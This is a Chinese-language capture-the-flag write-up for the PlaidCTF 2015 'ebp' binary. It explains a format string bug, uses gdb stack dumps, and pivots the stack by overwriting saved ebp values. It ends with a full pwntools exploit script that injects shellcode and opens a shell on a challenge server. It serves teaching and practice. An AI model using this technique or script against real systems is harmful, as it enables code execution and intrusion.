lun4t1c@home:~$

plaidctf2015_ebp

从本题中可以学到一种相对特别的栈迁移技巧。

第一步,使用 file 命令了解文件的相关信息。

ebp: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=4e8094f9986968cd856db5093810badbb0749fde, not stripped

第二步,使用 IDA 反编译 ELF 查看伪代码。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax

  while ( 1 )
  {
    result = (int)fgets(buf, 1024, stdin);
    if ( !result )
      break;
    echo();
  }
  return result;
}

int echo()
{
  make_response();
  puts(response);
  return fflush(stdout);
}

int make_response()
{
  return snprintf(response, 0x400u, buf);
}

容易看出,程序中存在格式化字符串漏洞。

第三步,进行 gdb 调试,查看栈中的信息。

gef➤  b *0x0804851F
Breakpoint 1 at 0x804851f
gef➤  r
Starting program: /mnt/hgfs/CTF/BUUCTF/Pwn/plaidctf2015_ebp/ebp
%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
gef➤  stack 25
0000| 0xffffcfd0 --> 0x804a480 ("0xf7fd31b0-0xf7fe77eb-(nil)-0xffffd008-0x804852c-0xffffd028-0xf7fee010-0xf7e6415b-(nil)-0xf7fb8000-0xf7fb8000-0xffffd028-0x8048557-0x804a080-0x400-0xf7fb85a0-(nil)-0xf7fb8000-0xf7fb8000-(nil)-0xf7e1e637-0x1-0xffffd0c4-0xffffd0cc-(nil)-(nil)-(nil)-0xf7fb8000-0xf7ffdc04-0xf7ffd000-(nil)-0xf7fb8000\n")
0004| 0xffffcfd4 --> 0x400 
0008| 0xffffcfd8 --> 0x804a080 ("%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p\n")
0012| 0xffffcfdc --> 0xf7fd31b0 --> 0xf7e06000 --> 0x464c457f 
0016| 0xffffcfe0 --> 0xf7fe77eb (add    esi,0x15815)
0020| 0xffffcfe4 --> 0x0 
0024| 0xffffcfe8 --> 0xffffd008 --> 0xffffd028 --> 0x0 
0028| 0xffffcfec --> 0x804852c (<echo+11>:	mov    DWORD PTR [esp],0x804a480)
0032| 0xffffcff0 --> 0xffffd028 --> 0x0 
0036| 0xffffcff4 --> 0xf7fee010 (pop    edx)
0040| 0xffffcff8 --> 0xf7e6415b (<fgets+11>:	add    ebx,0x153ea5)
0044| 0xffffcffc --> 0x0 
0048| 0xffffd000 --> 0xf7fb8000 --> 0x1b1db0 
0052| 0xffffd004 --> 0xf7fb8000 --> 0x1b1db0 
0056| 0xffffd008 --> 0xffffd028 --> 0x0 
0060| 0xffffd00c --> 0x8048557 (<main+16>:	mov    eax,ds:0x804a040)
0064| 0xffffd010 --> 0x804a080 ("%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p\n")
0068| 0xffffd014 --> 0x400 
0072| 0xffffd018 --> 0xf7fb85a0 --> 0xfbad2288 
0076| 0xffffd01c --> 0x0 
0080| 0xffffd020 --> 0xf7fb8000 --> 0x1b1db0 
0084| 0xffffd024 --> 0xf7fb8000 --> 0x1b1db0 
0088| 0xffffd028 --> 0x0 
0092| 0xffffd02c --> 0xf7e1e637 (<__libc_start_main+247>:	add    esp,0x10)
0096| 0xffffd030 --> 0x1 

第四步,通过 make_response 栈帧中的 saved ebp(即格式化字符串漏洞中的第四个参数)修改 echo 栈帧中的 saved ebp,使其指向 make_response 栈帧中的 saved ebp。

payload  = shellcode + '%' + str(echo_ebp - len(shellcode)) + 'c'
payload += '%4$hn'

第五步,通过修改过的 echo 栈帧中的 saved ebp(即格式化字符串漏洞中的第十二个参数)修改 make_response 栈帧中的 saved ebp,使其指向栈中的一个指向 buf 的指针。由以上通过 gdb 调试所获得的信息来看,这样的指针是存在的。

payload  = shellcode + '%' + str(buf_ptr - len(shellcode) - 4) + 'c'
payload += '%12$hn'

则当 echo 函数中的 leave 指令被执行后,便可达成栈迁移,程序会执行布置在 buf 中的 shellcode。

利用脚本如下:

# node3.buuoj.cn:26667

from pwn import *

context.log_level = 'debug'

if args.G:
    io = remote('node3.buuoj.cn', 26667)
else:
    io = process('./ebp')

buf = 0x804A080

payload = '%4$p'

# gdb.attach(io)

io.sendline(payload)
main_ebp = int(io.recv(10)[-4:], 16)
echo_ebp = main_ebp - 0x20
buf_ptr = main_ebp + 0x8

shellcode = asm(shellcraft.sh())

payload  = shellcode + '%' + str(echo_ebp - len(shellcode)) + 'c'
payload += '%4$hn'

io.sendline(payload)

sleep(0.5)

payload  = shellcode + '%' + str(buf_ptr - len(shellcode) - 4) + 'c'
payload += '%12$hn'

io.sendline(payload)

# gdb.attach(io, 'b *0x0804851f')

io.interactive()